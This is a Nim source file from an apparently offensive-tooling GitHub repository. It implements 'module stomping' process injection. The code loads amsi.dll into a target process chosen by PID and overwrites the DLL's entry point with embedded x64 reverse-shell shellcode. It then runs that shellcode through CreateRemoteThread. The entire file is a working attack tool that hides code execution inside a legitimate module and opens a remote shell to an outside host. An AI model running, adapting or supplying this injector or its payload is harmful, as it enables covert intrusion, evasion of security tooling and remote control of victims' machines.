Offensive_Tooling/module_stomping.nim at main · Ethicalrat/Offensive_Tooling · GitHub

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// code from ired.team ported to nim

import os
import winim/api
import winim/kernel32

proc main() =
  const MAX_PATH = 260
  var processHandle: HANDLE
  var remoteBuffer: LPVOID
  var moduleToInject: wstring = "C:\\windows\\system32\\amsi.dll"
  var modules: array[256, HMODULE]
  var modulesSize: SIZE_T
  var modulesSizeNeeded: DWORD
  var moduleNameSize: DWORD
  var modulesCount: SIZE_T
  var remoteModuleName: array[MAX_PATH, char]
  var remoteModule: HMODULE

  # simple reverse shell x64
  const shellcode = toSeq("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

  # inject a benign DLL into remote process
  processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, int(repr(argv[1])))

  remoteBuffer = VirtualAllocEx(processHandle, nil, sizeof(moduleToInject), MEM_COMMIT, PAGE_READWRITE)
  WriteProcessMemory(processHandle, remoteBuffer, addr(moduleToInject), sizeof(moduleToInject), nil)
  let threadRoutine = cast[PTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(nil), "LoadLibraryW"))
  let dllThread = CreateRemoteThread(processHandle, nil, 0, threadRoutine, remoteBuffer, 0, nil)
  WaitForSingleObject(dllThread, 1000)

  # find base address of the injected benign DLL in remote process
  modulesSize = sizeof(modules)
  EnumProcessModules(processHandle, addr(modules), modulesSize, addr(modulesSizeNeeded))
  modulesCount = modulesSizeNeeded div sizeof(HMODULE)
  for i in 0 .. modulesCount - 1:
    remoteModule = modules[i]
    GetModuleBaseNameA(processHandle, remoteModule, addr(remoteModuleName), sizeof(remoteModuleName))
    if remoteModuleName[0..^1].cstring == "amsi.dll":
      echo $remoteModuleName, " at ", repr(remoteModule)
      break

  # get DLL's AddressOfEntryPoint
  let headerBufferSize = 0x1000
  let targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize)
  ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, nil)

  let dosHeader = cast[PIMAGE_DOS_HEADER](targetProcessHeaderBuffer)
  let ntHeader = cast[PIMAGE_NT_HEADERS](cast[ptr byte](targetProcessHeaderBuffer) + dosHeader.e_lfanew)
  let dllEntryPoint = cast[LPVOID](ntHeader.OptionalHeader.AddressOfEntryPoint + cast[uint](remoteModule))
  echo ", entryPoint at ", repr(dllEntryPoint)

  # write shellcode to DLL's AddressofEntryPoint
  WriteProcessMemory(processHandle, dllEntryPoint, cast[LPCVOID](addr(shellcode[0])), sizeof(shellcode), nil)

  # execute shellcode from inside the benign DLL
  CreateRemoteThread(processHandle, nil, 0, cast[PTHREAD_START_ROUTINE](dllEntryPoint), nil, 0, nil)

when isMainModule:
  main()